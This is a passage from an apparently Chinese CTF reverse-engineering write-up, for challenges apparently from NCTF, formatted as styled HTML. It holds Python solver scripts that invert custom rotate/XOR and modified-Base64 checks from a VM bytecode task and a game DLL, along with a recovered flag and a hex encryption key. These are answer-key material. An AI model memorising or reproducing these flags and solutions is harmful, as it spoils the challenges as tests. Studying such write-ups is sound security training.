#d19a66;line-height: 26px;"><span leaf="">0x1000</span></span><span leaf=""> : </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1000</span></span><span leaf=""> + len(data)] = data</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1000</span></span><span leaf=""> + len(data) &lt; MEM_SIZE:</span><span leaf=""><br/></span><span leaf="">        vm.mem[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1000</span></span><span leaf=""> + len(data)] = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    steps = vm.run(max_steps=args.max_steps, trace=args.trace)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;\n[VM] steps=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{steps}</span></span><span leaf=""> halted=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> vm.running}</span></span><span leaf=""> error=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{vm.error}</span></span><span leaf=""> ip=0x</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{vm.ip:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">08</span></span><span leaf="">x}</span></span><span leaf=""> sp=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{vm.sp}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然后分析code.bin，程序的核心验证逻辑是：将长为 42 字节的用户输入以每 3 字节（24 bits）为一组进行读取，经过三轮按位循环左移（</span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">ROL24</span></code><span leaf="">）和对应的 </span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">XOR</span></code><span leaf=""> 运算后，将结果进行标准 Base64 编码，最后再把生成的 Base64 字符串逐字符与 </span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">0x63</span></code><span leaf=""> 进行异或，并同内置密文（275a0b080a3a090d30314c37023a120e542a4c302c3211270631563712264c3728325b375500481a0201112716004c372407113401365b27）比较。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">Exp</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> base64</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rotl24</span></span><span style="line-height: 26px;"><span leaf="">(v, amount)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    amount %= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((v &lt;&lt; amount) | (v &gt;&gt; (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf=""> - amount))) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFF</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rotr24</span></span><span style="line-height: 26px;"><span leaf="">(v, amount)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    amount %= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((v &gt;&gt; amount) | (v &lt;&lt; (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf=""> - amount))) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFF</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">decrypt_block</span></span><span style="line-height: 26px;"><span leaf="">(v_out)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    v = v_out</span><span leaf=""><br/></span><span leaf="">    v = rotr24(v, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    v = v ^ </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x55757d</span></span><span leaf=""><br/></span><span leaf="">    v = rotr24(v, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">11</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    v = v ^ </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x55757d</span></span><span leaf=""><br/></span><span leaf="">    v = rotr24(v, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> v</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">solve</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    b64_str = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;D9hkiYjnSR/TaYqm7I/SOQrDeR5TqE/TKQ8T6c+yabrDuc/TGdrWbU8D&#39;</span></span><span leaf=""><br/></span><span leaf="">    raw_bytes = base64.b64decode(b64_str)</span><span leaf=""><br/></span><span leaf="">    flag = bytearray()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, len(raw_bytes), </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        v_out = (raw_bytes[i] &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">) | (raw_bytes[i+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) | raw_bytes[i+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">        v_in = decrypt_block(v_out)</span><span leaf=""><br/></span><span leaf="">        flag.append((v_in &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        flag.append((v_in &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        flag.append(v_in &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Flag:&#34;</span></span><span leaf="">, flag.decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;latin1&#39;</span></span><span leaf="">, errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;replace&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__main__&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    solve()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># NCTF{1578be15-ad09-4859-9193-5d52585eb485}</span></span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">No My Bank!</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">加密密钥d34bff62613fdd2861f6d5942c5e99a53ef3e90adbe9091b4686859d5b7dab22</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">可以提出来文件，分析</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">好像主要逻辑还在exe里面？</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">gd是游戏逻辑，校验主逻辑在dll，dump出来_libextension.dll，里面通过^ 0xBA解密了一段逻辑</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">是一个魔改base64 + 其中一个key为0x114514的xor，用这段逻辑解密题目的比较字符串然后替换三个字符成数字即可</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6592592592592592" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030593" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=c3ce08f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2NsdYIXQ9P9NwdXdffaZY6aaa0cs4ou52s2QRoe5642fa1IQywl2aK3Ep5oHhOJ0S8AmUKiaX6R5g4JKp1NYu63kVFbkTc2KeicQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">EncFlag = [</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2B</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xF7</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x67</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5E</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x98</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xED</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6D</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xD1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xEF</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x57</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xBB</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x22</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7E</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xB2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1F</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x34</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5B</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x36</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2B</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xAF</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xBB</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5B</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xD6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x45</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x27</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x84</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x47</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xAB</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2F</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x75</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x78</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3E</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x88</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x89</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2D</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xCD</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xF6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFA</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x36</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x73</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6E</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xD3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x75</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">ALPHABET = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/&#34;</span></span><span leaf=""><br/></span><span leaf="">SEED_INIT = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x114514</span></span><span leaf=""><br/></span><span leaf="">LCG_MULTIPLIER = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01010193</span></span><span leaf=""><br/></span><span leaf="">LCG_INCREMENT = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12345678</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">ror8</span></span><span style="line-height: 26px;"><span leaf="">(value: int, count: int)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span leaf="">    count &amp;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((value &gt;&gt; count) | ((value &lt;&lt; (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf=""> - count)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">undo_stream_transform</span></span><span style="line-height: 26px;"><span leaf="">(data: bytes)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    seed = SEED_INIT</span><span leaf=""><br/></span><span leaf="">    output = bytearray()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> index, value </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(data):</span><span leaf=""><br/></span><span leaf="">        mask = (seed &gt;&gt; ((index * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span leaf="">        restored = ror8(value ^ </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xBA</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">) ^ mask</span><span leaf=""><br/></span><span leaf="">        output.append(restored)</span><span leaf=""><br/></span><span leaf="">        seed = (seed * LCG_MULTIPLIER + LCG_INCREMENT) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(output)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">unswap_quartets</span></span><span style="line-height: 26px;"><span leaf="">(data: bytes)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(data) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf=""> != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;encoded data length must be a multiple of 4&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    output = bytearray()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> index </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, len(data), </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        a, b, c, d = data[index:index + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">        output.extend((b, a, d, c))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(output)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">decode_custom_base64</span></span><span style="line-height: 26px;"><span leaf="">(encoded: bytes)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    lookup = {ch: index </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> index, ch </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(ALPHABET)}</span><span leaf=""><br/></span><span leaf="">    output = bytearray()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> index </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, len(encoded), </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        c1, c2, c3, c4 = (chr(byte) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> byte </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> encoded[index:index + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        v1 = lookup[c1]</span><span leaf=""><br/></span><span leaf="">        v2 = lookup[c2]</span><span leaf=""><br/></span><span leaf="">        v3 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> c3 == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> lookup[c3]</span><span leaf=""><br/></span><span leaf="">        v4 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span style="color: 